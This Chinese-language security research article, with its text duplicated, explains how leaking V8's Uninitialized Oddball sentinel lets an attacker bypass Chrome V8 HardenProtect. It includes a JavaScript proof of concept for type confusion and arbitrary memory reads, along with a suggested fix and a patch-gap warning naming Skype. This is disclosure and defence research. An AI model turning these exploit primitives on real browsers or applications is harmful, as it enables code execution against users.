# Sentinel Value與Chrome v8 HardenProtect繞過Sentinel value是算法中的特殊值,常用於循環或遞歸算法的終止條件。Chrome源碼中廣泛使用了這類特殊值。近期有研究表明,通過泄露某些Sentinel value對象可實現Chrome沙箱內任意代碼執行。本文將探討利用Uninitialized Oddball對象繞過Chrome v8 HardenProtect機制的方法。該方法最早由Project0成員在Issue1352549中提出,目前仍可用於最新版V8,Google尚未針對此進行修復。值得注意的是,該方法具有較強通用性:1. Issue1216437(CVE-2021-30551)中首次給出了泄露internal uninitialized oddball的poc。2. Issue1314616(CVE-2022-1486)中也直接泄露了UninitializedOddball對象。3. Issue1352549(暫無CVE)展示了該方法的完整利用鏈。這些案例表明,該繞過方法可能影響多個軟件版本。截至目前,Skype等軟件仍未修復該漏洞。## V8中的Sentinel Value V8源碼中定義了大量原生對象,包括多種Sentinel value。這些對象在內存中依次相鄰排布。一旦將不應泄露的原生對象暴露給JavaScript,就可能實現沙箱內任意代碼執行。爲驗證該方法,我們可以修改V8的%TheHole()函數,使其返回Uninitialized Oddball對象。## 繞過HardenType以下代碼展示了如何利用泄露的Uninitialized Oddball對象實現任意讀:javascriptfunction read(obj, idx) { return obj[idx];}let uninitialized_oddball = %GetUninitialized();let ab = new ArrayBuffer(8);let f64 = new Float64Array(ab);let u32 = new Uint32Array(ab);for (let i = 0; i < 0x10000; i++) { read({prop: 1.1}, 0); }%OptimizeFunctionOnNextCall(read);let val = read({prop: uninitialized_oddball}, 0x1234);f64[0] = val;console.log(u32[0].toString(16), u32[1].toString(16));優化後的read函數匯編代碼顯示,函數僅檢查了obj的prop屬性,未檢查obj.prop的值就直接計算偏移,造成類型混淆,實現任意讀。建議修復方案:在優化後的函數返回數組元素時,添加對數組map的檢查,避免直接計算偏移。## PatchGap警告該繞過方法不僅影響歷史漏洞,還可能影響當前軟件。例如Skype目前仍未修復此問題。在x86平台下,由於缺少地址壓縮,任意讀寫範圍更大。這次PatchGap不僅涉及Issue1352549,還使得類似Issue1314616和Issue1216437的利用難度大幅降低。建議廠商全面排查相關漏洞。## 總結本文介紹了利用Uninitialized Oddball實現V8任意讀的方法。V8中還有其他多種Sentinel value,可能存在類似安全隱患。建議進一步研究:1. 其他Sentinel value泄露是否可實現V8 RCE2. 將Sentinel value作爲變量加入Fuzzer,挖掘新的利用原語3. 正視此類問題可能帶來的安全風險無論該問題是否被正式列爲安全漏洞,它都可能大大縮短黑客的完整利用週期。希望本文能引起相關方面的重視。
Chrome v8 HardenProtect繞過:利用Sentinel Value實現任意代碼執行
Sentinel Value與Chrome v8 HardenProtect繞過
Sentinel value是算法中的特殊值,常用於循環或遞歸算法的終止條件。Chrome源碼中廣泛使用了這類特殊值。近期有研究表明,通過泄露某些Sentinel value對象可實現Chrome沙箱內任意代碼執行。
本文將探討利用Uninitialized Oddball對象繞過Chrome v8 HardenProtect機制的方法。該方法最早由Project0成員在Issue1352549中提出,目前仍可用於最新版V8,Google尚未針對此進行修復。
值得注意的是,該方法具有較強通用性:
Issue1216437(CVE-2021-30551)中首次給出了泄露internal uninitialized oddball的poc。
Issue1314616(CVE-2022-1486)中也直接泄露了UninitializedOddball對象。
Issue1352549(暫無CVE)展示了該方法的完整利用鏈。
這些案例表明,該繞過方法可能影響多個軟件版本。截至目前,Skype等軟件仍未修復該漏洞。
V8中的Sentinel Value
V8源碼中定義了大量原生對象,包括多種Sentinel value。這些對象在內存中依次相鄰排布。一旦將不應泄露的原生對象暴露給JavaScript,就可能實現沙箱內任意代碼執行。
爲驗證該方法,我們可以修改V8的%TheHole()函數,使其返回Uninitialized Oddball對象。
繞過HardenType
以下代碼展示了如何利用泄露的Uninitialized Oddball對象實現任意讀:
javascript function read(obj, idx) { return obj[idx]; }
let uninitialized_oddball = %GetUninitialized(); let ab = new ArrayBuffer(8); let f64 = new Float64Array(ab); let u32 = new Uint32Array(ab);
for (let i = 0; i < 0x10000; i++) { read({prop: 1.1}, 0);
}
%OptimizeFunctionOnNextCall(read);
let val = read({prop: uninitialized_oddball}, 0x1234); f64[0] = val; console.log(u32[0].toString(16), u32[1].toString(16));
優化後的read函數匯編代碼顯示,函數僅檢查了obj的prop屬性,未檢查obj.prop的值就直接計算偏移,造成類型混淆,實現任意讀。
建議修復方案:在優化後的函數返回數組元素時,添加對數組map的檢查,避免直接計算偏移。
PatchGap警告
該繞過方法不僅影響歷史漏洞,還可能影響當前軟件。例如Skype目前仍未修復此問題。在x86平台下,由於缺少地址壓縮,任意讀寫範圍更大。
這次PatchGap不僅涉及Issue1352549,還使得類似Issue1314616和Issue1216437的利用難度大幅降低。建議廠商全面排查相關漏洞。
總結
本文介紹了利用Uninitialized Oddball實現V8任意讀的方法。V8中還有其他多種Sentinel value,可能存在類似安全隱患。建議進一步研究:
無論該問題是否被正式列爲安全漏洞,它都可能大大縮短黑客的完整利用週期。希望本文能引起相關方面的重視。